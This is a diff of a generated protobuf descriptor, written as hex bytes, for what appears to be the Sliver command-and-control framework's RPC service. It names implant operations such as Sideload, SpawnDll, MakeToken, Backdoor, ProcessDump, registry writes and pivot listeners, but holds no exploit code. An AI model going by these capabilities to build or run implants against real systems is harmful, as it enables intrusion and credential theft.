0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, - 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x40, 0x0a, 0x0e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, - 0x65, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x57, 0x69, 0x6e, 0x64, 0x6f, - 0x77, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x53, 0x69, 0x64, 0x65, - 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x69, 0x64, 0x65, 0x6c, 0x6f, 0x61, 0x64, 0x12, - 0x3b, 0x0a, 0x08, 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x1b, 0x2e, 0x73, 0x6c, - 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x6e, 0x76, 0x6f, 0x6b, 0x65, 0x53, 0x70, 0x61, - 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x53, 0x70, 0x61, 0x77, 0x6e, 0x44, 0x6c, 0x6c, 0x12, 0x3b, 0x0a, 0x0a, - 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, - 0x52, 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, - 0x63, 0x72, 0x65, 0x65, 0x6e, 0x73, 0x68, 0x6f, 0x74, 0x12, 0x50, 0x0a, 0x11, 0x43, 0x75, 0x72, - 0x72, 0x65, 0x6e, 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x1e, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, - 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x1b, - 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, - 0x74, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x4e, 0x0a, 0x12, 0x50, - 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, - 0x72, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, - 0x6f, 0x74, 0x53, 0x74, 0x61, 0x72, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, - 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, - 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x44, 0x0a, 0x11, 0x50, - 0x69, 0x76, 0x6f, 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, - 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, - 0x74, 0x53, 0x74, 0x6f, 0x70, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, - 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x12, 0x4e, 0x0a, 0x15, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, - 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, - 0x73, 0x12, 0x33, 0x0a, 0x0a, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, + 0x63, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x57, 0x65, 0x62, + 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, 0x2f, 0x0a, 0x07, 0x57, 0x65, + 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x33, 0x0a, 0x0d, 0x57, + 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x11, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, - 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x40, 0x0a, 0x0c, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, - 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, - 0x62, 0x2e, 0x53, 0x74, 0x61, 0x72, 0x74, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, - 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, - 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x3e, 0x0a, 0x0b, 0x53, 0x74, 0x6f, 0x70, - 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, - 0x70, 0x62, 0x2e, 0x53, 0x74, 0x6f, 0x70, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x52, 0x65, - 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x72, - 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x42, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, - 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x53, 0x65, 0x72, 0x76, 0x69, - 0x63, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, - 0x2e, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x38, 0x0a, 0x09, - 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x52, 0x65, - 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x61, 0x6b, - 0x65, 0x54, 0x6f, 0x6b, 0x65, 0x6e, 0x12, 0x2d, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x45, 0x6e, 0x76, - 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, 0x76, 0x52, - 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x6e, - 0x76, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2f, 0x0a, 0x06, 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, - 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x74, 0x45, 0x6e, - 0x76, 0x52, 0x65, 0x71, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x53, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, 0x08, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, - 0x6e, 0x76, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, - 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, - 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x6e, 0x73, 0x65, 0x74, 0x45, 0x6e, 0x76, 0x12, 0x35, 0x0a, - 0x08, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x15, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, 0x64, 0x6f, 0x6f, 0x72, 0x52, 0x65, 0x71, - 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x61, 0x63, 0x6b, - 0x64, 0x6f, 0x6f, 0x72, 0x12, 0x41, 0x0a, 0x0c, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, - 0x52, 0x65, 0x61, 0x64, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, - 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, - 0x74, 0x72, 0x79, 0x52, 0x65, 0x61, 0x64, 0x12, 0x44, 0x0a, 0x0d, 0x52, 0x65, 0x67, 0x69, 0x73, - 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x1a, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, - 0x65, 0x52, 0x65, 0x71, 0x1a, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x57, 0x72, 0x69, 0x74, 0x65, 0x12, 0x50, 0x0a, - 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, - 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x52, - 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, - 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, - 0x50, 0x0a, 0x11, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, - 0x65, 0x4b, 0x65, 0x79, 0x12, 0x1e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, - 0x79, 0x52, 0x65, 0x71, 0x1a, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, - 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, - 0x79, 0x12, 0x54, 0x0a, 0x13, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x4c, 0x69, 0x73, - 0x74, 0x53, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x1f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, - 0x72, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x72, 0x79, 0x53, 0x75, 0x62, 0x4b, - 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x12, 0x43, 0x0a, 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, + 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, + 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, + 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x46, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, + 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1b, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, + 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x49, 0x0a, + 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, + 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x43, 0x6f, + 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x1a, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, 0x26, 0x0a, 0x04, 0x50, 0x69, 0x6e, 0x67, + 0x12, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, + 0x1a, 0x0e, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x6e, 0x67, + 0x12, 0x23, 0x0a, 0x02, 0x50, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x50, 0x73, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x50, 0x73, 0x12, 0x38, 0x0a, 0x09, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, + 0x74, 0x65, 0x12, 0x16, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, + 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x65, 0x72, 0x6d, 0x69, 0x6e, 0x61, 0x74, 0x65, 0x12, + 0x35, 0x0a, 0x08, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x15, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, + 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x49, 0x66, + 0x63, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x32, 0x0a, 0x07, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, + 0x74, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74, + 0x73, 0x74, 0x61, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x4e, 0x65, 0x74, 0x73, 0x74, 0x61, 0x74, 0x12, 0x23, 0x0a, 0x02, 0x4c, 0x73, + 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x52, 0x65, + 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, + 0x24, 0x0a, 0x02, 0x43, 0x64, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x43, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12, 0x26, 0x0a, 0x03, 0x50, 0x77, 0x64, 0x12, 0x10, 0x2e, 0x73, + 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x0d, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x77, 0x64, 0x12, 0x23, 0x0a, + 0x02, 0x4d, 0x76, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, + 0x76, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x4d, 0x76, 0x12, 0x23, 0x0a, 0x02, 0x43, 0x70, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, + 0x72, 0x70, 0x62, 0x2e, 0x43, 0x70, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x70, 0x12, 0x23, 0x0a, 0x02, 0x52, 0x6d, 0x12, 0x0f, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x52, 0x65, 0x71, 0x1a, 0x0c, + 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x52, 0x6d, 0x12, 0x2c, 0x0a, 0x05, + 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, + 0x2e, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x6b, 0x64, 0x69, 0x72, 0x12, 0x35, 0x0a, 0x08, 0x44, 0x6f, + 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, + 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, + 0x64, 0x12, 0x2f, 0x0a, 0x06, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x13, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x52, 0x65, 0x71, + 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x55, 0x70, 0x6c, 0x6f, + 0x61, 0x64, 0x12, 0x2c, 0x0a, 0x05, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x12, 0x12, 0x2e, 0x73, 0x6c, + 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, 0x52, 0x65, 0x71, 0x1a, + 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6d, 0x6f, 0x64, + 0x12, 0x2c, 0x0a, 0x05, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x6f, 0x77, 0x6e, 0x12, 0x32, + 0x0a, 0x07, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x74, 0x69, 0x6d, 0x65, 0x73, 0x52, 0x65, 0x71, 0x1a, + 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x43, 0x68, 0x74, 0x69, 0x6d, + 0x65, 0x73, 0x12, 0x37, 0x0a, 0x0c, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, + 0x73, 0x74, 0x12, 0x19, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, + 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x1a, 0x0c, 0x2e, + 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4c, 0x73, 0x12, 0x3e, 0x0a, 0x0b, 0x4d, + 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, + 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, + 0x64, 0x52, 0x65, 0x71, 0x1a, 0x15, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, + 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x41, 0x64, 0x64, 0x12, 0x3b, 0x0a, 0x0a, 0x4d, + 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x12, 0x17, 0x2e, 0x73, 0x6c, 0x69, 0x76, + 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x52, + 0x65, 0x71, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x4d, 0x65, + 0x6d, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x52, 0x6d, 0x12, 0x3e, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x63, + 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 0x70, 0x12, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, + 0x70, 0x62, 0x2e, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x44, 0x75, 0x6d, 